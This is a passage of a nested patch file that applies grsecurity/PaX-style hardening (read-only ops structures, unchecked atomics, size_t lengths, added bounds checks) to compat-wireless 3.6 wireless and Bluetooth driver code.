++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/iwlwifi/pcie/trans.c	2012-10-15 17:30:59.820924530 +0000
+@@ -1944,7 +1944,7 @@ static ssize_t iwl_dbgfs_interrupt_write
+ 	struct isr_statistics *isr_stats = &trans_pcie->isr_stats;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1965,7 +1965,7 @@ static ssize_t iwl_dbgfs_csr_write(struc
+ {
+ 	struct iwl_trans *trans = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int csr;
+ 
+ 	memset(buf, 0, sizeof(buf));
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/mac80211_hwsim.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/mac80211_hwsim.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/mac80211_hwsim.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/mac80211_hwsim.c	2012-10-15 17:30:59.820924530 +0000
+@@ -1748,9 +1748,11 @@ static int __init init_mac80211_hwsim(vo
+ 		return -EINVAL;
+ 
+ 	if (fake_hw_scan) {
+-		mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
+-		mac80211_hwsim_ops.sw_scan_start = NULL;
+-		mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_open_kernel();
++		*(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan;
++		*(void **)&mac80211_hwsim_ops.sw_scan_start = NULL;
++		*(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL;
++		pax_close_kernel();
+ 	}
+ 
+ 	spin_lock_init(&hwsim_radio_lock);
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/mwifiex/main.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/mwifiex/main.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/mwifiex/main.h	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/mwifiex/main.h	2012-10-15 17:30:59.820924530 +0000
+@@ -571,7 +571,7 @@ struct mwifiex_if_ops {
+ 	int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *);
+ 	int (*dnld_fw) (struct mwifiex_adapter *, struct mwifiex_fw_image *);
+-};
++} __no_const;
+ 
+ struct mwifiex_adapter {
+ 	u8 iface_type;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rndis_wlan.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rndis_wlan.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rndis_wlan.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rndis_wlan.c	2012-10-15 17:30:59.821924531 +0000
+@@ -1235,7 +1235,7 @@ static int set_rts_threshold(struct usbn
+ 
+ 	netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold);
+ 
+-	if (rts_threshold < 0 || rts_threshold > 2347)
++	if (rts_threshold > 2347)
+ 		rts_threshold = 2347;
+ 
+ 	tmp = cpu_to_le32(rts_threshold);
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rt2x00/rt2x00.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rt2x00/rt2x00.h	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h	2012-10-15 17:30:59.821924531 +0000
+@@ -397,7 +397,7 @@ struct rt2x00_intf {
+ 	 * for hardware which doesn't support hardware
+ 	 * sequence counting.
+ 	 */
+-	atomic_t seqno;
++	atomic_unchecked_t seqno;
+ };
+ 
+ static inline struct rt2x00_intf* vif_to_intf(struct ieee80211_vif *vif)
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rt2x00/rt2x00queue.c compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/rt2x00/rt2x00queue.c	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c	2012-10-15 17:30:59.822924531 +0000
+@@ -240,9 +240,9 @@ static void rt2x00queue_create_tx_descri
+ 	 * sequence counter given by mac80211.
+ 	 */
+ 	if (test_bit(ENTRY_TXD_FIRST_FRAGMENT, &txdesc->flags))
+-		seqno = atomic_add_return(0x10, &intf->seqno);
++		seqno = atomic_add_return_unchecked(0x10, &intf->seqno);
+ 	else
+-		seqno = atomic_read(&intf->seqno);
++		seqno = atomic_read_unchecked(&intf->seqno);
+ 
+ 	hdr->seq_ctrl &= cpu_to_le16(IEEE80211_SCTL_FRAG);
+ 	hdr->seq_ctrl |= cpu_to_le16(seqno);
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ti/wl1251/wl1251.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ti/wl1251/wl1251.h	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h	2012-10-15 17:30:59.822924531 +0000
+@@ -266,7 +266,7 @@ struct wl1251_if_operations {
+ 	void (*reset)(struct wl1251 *wl);
+ 	void (*enable_irq)(struct wl1251 *wl);
+ 	void (*disable_irq)(struct wl1251 *wl);
+-};
++} __no_const;
+ 
+ struct wl1251 {
+ 	struct ieee80211_hw *hw;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ti/wlcore/wlcore.h compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/drivers/net/wireless/ti/wlcore/wlcore.h	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h	2012-10-15 17:30:59.822924531 +0000
+@@ -81,7 +81,7 @@ struct wlcore_ops {
+ 		       struct ieee80211_sta *sta,
+ 		       struct ieee80211_key_conf *key_conf);
+ 	u32 (*pre_pkt_send)(struct wl1271 *wl, u32 buf_offset, u32 last_len);
+-};
++} __no_const;
+ 
+ enum wlcore_partitions {
+ 	PART_DOWN,
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/pm_runtime.h.rej compat-wireless-3.6-rc7-1-snpc/include/linux/pm_runtime.h.rej
+--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/pm_runtime.h.rej	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/include/linux/pm_runtime.h.rej	2012-10-15 17:30:59.823924531 +0000
+@@ -0,0 +1,11 @@
++--- include/linux/pm_runtime.h	2012-07-23 00:22:30.802342811 +0200
+++++ include/linux/pm_runtime.h	2012-10-01 02:50:45.740114659 +0200
++@@ -97,7 +97,7 @@
++ 
++ static inline void pm_runtime_mark_last_busy(struct device *dev)
++ {
++-	ACCESS_ONCE(dev->power.last_busy) = jiffies;
+++	ACCESS_ONCE_RW(dev->power.last_busy) = jiffies;
++ }
++ 
++ #else /* !CONFIG_PM_RUNTIME */
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/pm_runtime.h.~1~ compat-wireless-3.6-rc7-1-snpc/include/linux/pm_runtime.h.~1~
+--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/pm_runtime.h.~1~	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/include/linux/pm_runtime.h.~1~	2012-10-15 17:30:59.823924531 +0000
+@@ -0,0 +1,14 @@
++#include <linux/version.h>
++
++#ifndef __COMPAT_LINUX_PM_RUNTIME_H
++#define __COMPAT_LINUX_PM_RUNTIME_H
++
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,32))
++#include_next <linux/pm_runtime.h>
++#else
++
++static inline void pm_runtime_enable(struct device *dev) {}
++
++#endif /* (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,32)) */
++
++#endif
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/rfkill.h.rej compat-wireless-3.6-rc7-1-snpc/include/linux/rfkill.h.rej
+--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/rfkill.h.rej	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/include/linux/rfkill.h.rej	2012-10-15 17:30:59.823924531 +0000
+@@ -0,0 +1,10 @@
++--- include/linux/rfkill.h	2012-05-21 11:33:38.331929879 +0200
+++++ include/linux/rfkill.h	2012-10-01 02:50:45.780114659 +0200
++@@ -147,6 +147,7 @@
++ 	void	(*query)(struct rfkill *rfkill, void *data);
++ 	int	(*set_block)(void *data, bool blocked);
++ };
+++typedef struct rfkill_ops __no_const rfkill_ops_no_const;
++ 
++ #if defined(CONFIG_RFKILL) || defined(CONFIG_RFKILL_MODULE)
++ /**
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/rfkill.h.~1~ compat-wireless-3.6-rc7-1-snpc/include/linux/rfkill.h.~1~
+--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/rfkill.h.~1~	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/include/linux/rfkill.h.~1~	2012-10-15 17:30:59.823924531 +0000
+@@ -0,0 +1,32 @@
++#ifndef __COMPAT_RFKILL_H
++#define __COMPAT_RFKILL_H
++
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,31))
++
++#include_next <linux/rfkill.h>
++
++#else
++
++#include <linux/compat-2.6.h>
++
++#undef CONFIG_RFKILL
++#undef CONFIG_RFKILL_INPUT
++#undef CONFIG_RFKILL_LEDS
++
++#ifdef CONFIG_RFKILL_BACKPORT
++#define CONFIG_RFKILL 1
++#endif
++
++#ifdef CONFIG_RFKILL_BACKPORT_INPUT
++#define CONFIG_RFKILL_INPUT
++#endif
++
++#ifdef CONFIG_RFKILL_BACKPORT_LEDS
++#define CONFIG_RFKILL_LEDS
++#endif
++
++#include <linux/rfkill_backport.h>
++
++#endif
++
++#endif
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/linux/unaligned/access_ok.h compat-wireless-3.6-rc7-1-snpc/include/linux/unaligned/access_ok.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/include/linux/unaligned/access_ok.h	2012-09-17 19:15:56.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/include/linux/unaligned/access_ok.h	2012-10-15 17:30:59.823924531 +0000
+@@ -6,32 +6,32 @@
+ 
+ static inline u16 get_unaligned_le16(const void *p)
+ {
+-	return le16_to_cpup((__le16 *)p);
++	return le16_to_cpup((const __le16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_le32(const void *p)
+ {
+-	return le32_to_cpup((__le32 *)p);
++	return le32_to_cpup((const __le32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_le64(const void *p)
+ {
+-	return le64_to_cpup((__le64 *)p);
++	return le64_to_cpup((const __le64 *)p);
+ }
+ 
+ static inline u16 get_unaligned_be16(const void *p)
+ {
+-	return be16_to_cpup((__be16 *)p);
++	return be16_to_cpup((const __be16 *)p);
+ }
+ 
+ static inline u32 get_unaligned_be32(const void *p)
+ {
+-	return be32_to_cpup((__be32 *)p);
++	return be32_to_cpup((const __be32 *)p);
+ }
+ 
+ static inline u64 get_unaligned_be64(const void *p)
+ {
+-	return be64_to_cpup((__be64 *)p);
++	return be64_to_cpup((const __be64 *)p);
+ }
+ 
+ static inline void put_unaligned_le16(u16 val, void *p)
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/net/net_namespace.h.rej compat-wireless-3.6-rc7-1-snpc/include/net/net_namespace.h.rej
+--- compat-wireless-3.6-rc7-1-snpc.orig/include/net/net_namespace.h.rej	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/include/net/net_namespace.h.rej	2012-10-15 17:30:59.824924531 +0000
+@@ -0,0 +1,26 @@
++--- include/net/net_namespace.h	2012-10-01 02:49:52.716114492 +0200
+++++ include/net/net_namespace.h	2012-10-01 02:50:46.008114660 +0200
++@@ -102,7 +102,7 @@
++ #endif
++ 	struct netns_ipvs	*ipvs;
++ 	struct sock		*diag_nlsk;
++-	atomic_t		rt_genid;
+++	atomic_unchecked_t	rt_genid;
++ };
++ 
++ 
++@@ -303,12 +303,12 @@
++ 
++ static inline int rt_genid(struct net *net)
++ {
++-	return atomic_read(&net->rt_genid);
+++	return atomic_read_unchecked(&net->rt_genid);
++ }
++ 
++ static inline void rt_genid_bump(struct net *net)
++ {
++-	atomic_inc(&net->rt_genid);
+++	atomic_inc_unchecked(&net->rt_genid);
++ }
++ 
++ #endif /* __NET_NET_NAMESPACE_H */
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/include/net/net_namespace.h.~1~ compat-wireless-3.6-rc7-1-snpc/include/net/net_namespace.h.~1~
+--- compat-wireless-3.6-rc7-1-snpc.orig/include/net/net_namespace.h.~1~	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/include/net/net_namespace.h.~1~	2012-10-15 17:30:59.824924531 +0000
+@@ -0,0 +1,10 @@
++#ifndef _COMPAT_NET_NET_NAMESPACE_H
++#define _COMPAT_NET_NET_NAMESPACE_H 1
++
++#include <linux/version.h>
++
++#if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,23))
++#include_next <net/net_namespace.h>
++#endif /* (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,23)) */
++
++#endif	/* _COMPAT_NET_NET_NAMESPACE_H */
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/hci_sock.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/hci_sock.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/hci_sock.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/hci_sock.c	2012-10-15 17:30:59.825924531 +0000
+@@ -940,7 +940,7 @@ static int hci_sock_setsockopt(struct so
+ 			uf.event_mask[1] = *((u32 *) f->event_mask + 1);
+ 		}
+ 
+-		len = min_t(unsigned int, len, sizeof(uf));
++		len = min((size_t)len, sizeof(uf));
+ 		if (copy_from_user(&uf, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/l2cap_core.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/l2cap_core.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/l2cap_core.c	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/l2cap_core.c	2012-10-15 17:30:59.825924531 +0000
+@@ -3165,8 +3165,10 @@ static int l2cap_parse_conf_rsp(struct l
+ 			break;
+ 
+ 		case L2CAP_CONF_RFC:
+-			if (olen == sizeof(rfc))
+-				memcpy(&rfc, (void *)val, olen);
++			if (olen != sizeof(rfc))
++				break;
++
++			memcpy(&rfc, (void *)val, olen);
+ 
+ 			if (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) &&
+ 							rfc.mode != chan->mode)
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/l2cap_sock.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/l2cap_sock.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/l2cap_sock.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/l2cap_sock.c	2012-10-15 17:30:59.826924531 +0000
+@@ -467,7 +467,8 @@ static int l2cap_sock_setsockopt_old(str
+ 	struct sock *sk = sock->sk;
+ 	struct l2cap_chan *chan = l2cap_pi(sk)->chan;
+ 	struct l2cap_options opts;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -489,7 +490,7 @@ static int l2cap_sock_setsockopt_old(str
+ 		opts.max_tx   = chan->max_tx;
+ 		opts.txwin_size = chan->tx_win;
+ 
+-		len = min_t(unsigned int, sizeof(opts), optlen);
++		len = min(sizeof(opts), len);
+ 		if (copy_from_user((char *) &opts, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -574,7 +575,8 @@ static int l2cap_sock_setsockopt(struct
+ 	struct bt_security sec;
+ 	struct bt_power pwr;
+ 	struct l2cap_conn *conn;
+-	int len, err = 0;
++	int err = 0;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -597,7 +599,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+@@ -694,7 +696,7 @@ static int l2cap_sock_setsockopt(struct
+ 
+ 		pwr.force_active = BT_POWER_FORCE_ACTIVE_ON;
+ 
+-		len = min_t(unsigned int, sizeof(pwr), optlen);
++		len = min(sizeof(pwr), len);
+ 		if (copy_from_user((char *) &pwr, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/rfcomm/sock.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/rfcomm/sock.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/rfcomm/sock.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/rfcomm/sock.c	2012-10-15 17:30:59.826924531 +0000
+@@ -676,7 +676,7 @@ static int rfcomm_sock_setsockopt(struct
+ 	struct sock *sk = sock->sk;
+ 	struct bt_security sec;
+ 	int err = 0;
+-	size_t len;
++	size_t len = optlen;
+ 	u32 opt;
+ 
+ 	BT_DBG("sk %p", sk);
+@@ -698,7 +698,7 @@ static int rfcomm_sock_setsockopt(struct
+ 
+ 		sec.level = BT_SECURITY_LOW;
+ 
+-		len = min_t(unsigned int, sizeof(sec), optlen);
++		len = min(sizeof(sec), len);
+ 		if (copy_from_user((char *) &sec, optval, len)) {
+ 			err = -EFAULT;
+ 			break;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/rfcomm/tty.c compat-wireless-3.6-rc7-1-snpc/net/bluetooth/rfcomm/tty.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/bluetooth/rfcomm/tty.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/bluetooth/rfcomm/tty.c	2012-10-15 17:30:59.826924531 +0000
+@@ -309,7 +309,7 @@ static void rfcomm_dev_del(struct rfcomm
+ 	BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (dev->port.count > 0) {
++	if (atomic_read(&dev->port.count) > 0) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return;
+ 	}
+@@ -664,10 +664,10 @@ static int rfcomm_tty_open(struct tty_st
+ 		return -ENODEV;
+ 
+ 	BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst),
+-				dev->channel, dev->port.count);
++				dev->channel, atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (++dev->port.count > 1) {
++	if (atomic_inc_return(&dev->port.count) > 1) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		return 0;
+ 	}
+@@ -736,10 +736,10 @@ static void rfcomm_tty_close(struct tty_
+ 		return;
+ 
+ 	BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc,
+-						dev->port.count);
++						atomic_read(&dev->port.count));
+ 
+ 	spin_lock_irqsave(&dev->port.lock, flags);
+-	if (!--dev->port.count) {
++	if (!atomic_dec_return(&dev->port.count)) {
+ 		spin_unlock_irqrestore(&dev->port.lock, flags);
+ 		if (dev->tty_dev->parent)
+ #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29))
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/ieee80211_i.h compat-wireless-3.6-rc7-1-snpc/net/mac80211/ieee80211_i.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/ieee80211_i.h	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/ieee80211_i.h	2012-10-15 17:30:59.827924531 +0000
+@@ -28,6 +28,7 @@
+ #include <net/ieee80211_radiotap.h>
+ #include <net/cfg80211.h>
+ #include <net/mac80211.h>
++#include <asm/local.h>
+ #include "key.h"
+ #include "sta_info.h"
+ #include "debug.h"
+@@ -840,7 +841,7 @@ struct ieee80211_local {
+ 	/* also used to protect ampdu_ac_queue and amdpu_ac_stop_refcnt */
+ 	spinlock_t queue_stop_reason_lock;
+ 
+-	int open_count;
++	local_t open_count;
+ 	int monitors, cooked_mntrs;
+ 	/* number of interfaces with corresponding FIF_ flags */
+ 	int fif_fcsfail, fif_plcpfail, fif_control, fif_other_bss, fif_pspoll,
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/iface.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/iface.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/iface.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/iface.c	2012-10-15 17:30:59.827924531 +0000
+@@ -454,7 +454,7 @@ static int ieee80211_do_open(struct net_
+ 		break;
+ 	}
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		res = drv_start(local);
+ 		if (res)
+ 			goto err_del_bss;
+@@ -497,7 +497,7 @@ static int ieee80211_do_open(struct net_
+ 			break;
+ 		}
+ 
+-		if (local->monitors == 0 && local->open_count == 0) {
++		if (local->monitors == 0 && local_read(&local->open_count) == 0) {
+ 			res = ieee80211_add_virtual_monitor(local);
+ 			if (res)
+ 				goto err_stop;
+@@ -594,7 +594,7 @@ static int ieee80211_do_open(struct net_
+ 	mutex_unlock(&local->mtx);
+ 
+ 	if (coming_up)
+-		local->open_count++;
++		local_inc(&local->open_count);
+ 
+ 	if (hw_reconf_flags)
+ 		ieee80211_hw_config(local, hw_reconf_flags);
+@@ -607,7 +607,7 @@ static int ieee80211_do_open(struct net_
+  err_del_interface:
+ 	drv_remove_interface(local, sdata);
+  err_stop:
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		drv_stop(local);
+  err_del_bss:
+ 	sdata->bss = NULL;
+@@ -741,7 +741,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 
+ 	if (going_down)
+-		local->open_count--;
++		local_dec(&local->open_count);
+ 
+ 	switch (sdata->vif.type) {
+ 	case NL80211_IFTYPE_AP_VLAN:
+@@ -801,7 +801,7 @@ static void ieee80211_do_stop(struct iee
+ 
+ 	ieee80211_recalc_ps(local, -1);
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		if (local->ops->napi_poll)
+ 			napi_disable(&local->napi);
+ 		ieee80211_clear_tx_pending(local);
+@@ -833,7 +833,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 	spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags);
+ 
+-	if (local->monitors == local->open_count && local->monitors > 0)
++	if (local->monitors == local_read(&local->open_count) && local->monitors > 0)
+ 		ieee80211_add_virtual_monitor(local);
+ }
+ 
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/main.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/main.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/main.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/main.c	2012-10-15 17:30:59.827924531 +0000
+@@ -170,7 +170,7 @@ int ieee80211_hw_config(struct ieee80211
+ 		local->hw.conf.power_level = power;
+ 	}
+ 
+-	if (changed && local->open_count) {
++	if (changed && local_read(&local->open_count)) {
+ 		ret = drv_config(local, changed);
+ 		/*
+ 		 * Goal:
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/pm.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/pm.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/pm.c	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/pm.c	2012-10-15 17:30:59.828924531 +0000
+@@ -34,7 +34,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	struct ieee80211_sub_if_data *sdata;
+ 	struct sta_info *sta;
+ 
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto suspend;
+ 
+ 	ieee80211_scan_cancel(local);
+@@ -72,7 +72,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	cancel_work_sync(&local->dynamic_ps_enable_work);
+ 	del_timer_sync(&local->dynamic_ps_timer);
+ 
+-	local->wowlan = wowlan && local->open_count;
++	local->wowlan = wowlan && local_read(&local->open_count);
+ 	if (local->wowlan) {
+ 		int err = drv_suspend(local, wowlan);
+ 		if (err < 0) {
+@@ -143,7 +143,7 @@ int __ieee80211_suspend(struct ieee80211
+ 		drv_remove_interface(local, sdata);
+ 
+ 	/* stop hardware - this must stop RX */
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		ieee80211_stop_device(local);
+ 
+  suspend:
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/rate.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/rate.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/rate.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/rate.c	2012-10-15 17:30:59.828924531 +0000
+@@ -494,7 +494,7 @@ int ieee80211_init_rate_ctrl_alg(struct
+ 
+ 	ASSERT_RTNL();
+ 
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		return -EBUSY;
+ 
+ 	if (local->hw.flags & IEEE80211_HW_HAS_RATE_CONTROL) {
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/rc80211_pid_debugfs.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/rc80211_pid_debugfs.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/rc80211_pid_debugfs.c	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/rc80211_pid_debugfs.c	2012-10-15 17:30:59.828924531 +0000
+@@ -193,7 +193,7 @@ static ssize_t rate_control_pid_events_r
+ 
+ 	spin_unlock_irqrestore(&events->lock, status);
+ 
+-	if (copy_to_user(buf, pb, p))
++	if (p > sizeof(pb) || copy_to_user(buf, pb, p))
+ 		return -EFAULT;
+ 
+ 	return p;
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/util.c compat-wireless-3.6-rc7-1-snpc/net/mac80211/util.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/mac80211/util.c	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/mac80211/util.c	2012-10-15 17:30:59.828924531 +0000
+@@ -1251,7 +1251,7 @@ int ieee80211_reconfig(struct ieee80211_
+ 	}
+ #endif
+ 	/* everything else happens only if HW was up & running */
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto wake_up;
+ 
+ 	/*
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/wireless/core.h compat-wireless-3.6-rc7-1-snpc/net/wireless/core.h
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/wireless/core.h	2012-09-27 23:19:11.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/wireless/core.h	2012-10-15 17:30:59.829924531 +0000
+@@ -28,7 +28,7 @@ struct cfg80211_registered_device {
+ 	struct mutex mtx;
+ 
+ 	/* rfkill support */
+-	struct rfkill_ops rfkill_ops;
++	rfkill_ops_no_const rfkill_ops;
+ 	struct rfkill *rfkill;
+ 	struct work_struct rfkill_sync;
+ 
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/net/wireless/wext-core.c compat-wireless-3.6-rc7-1-snpc/net/wireless/wext-core.c
+--- compat-wireless-3.6-rc7-1-snpc.orig/net/wireless/wext-core.c	2012-09-27 23:19:12.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/net/wireless/wext-core.c	2012-10-15 17:30:59.829924531 +0000
+@@ -792,8 +792,7 @@ static int ioctl_standard_iw_point(struc
+ 		 */
+ 
+ 		/* Support for very large requests */
+-		if ((descr->flags & IW_DESCR_FLAG_NOMAX) &&
+-		    (user_length > descr->max_tokens)) {
++		if (user_length > descr->max_tokens) {
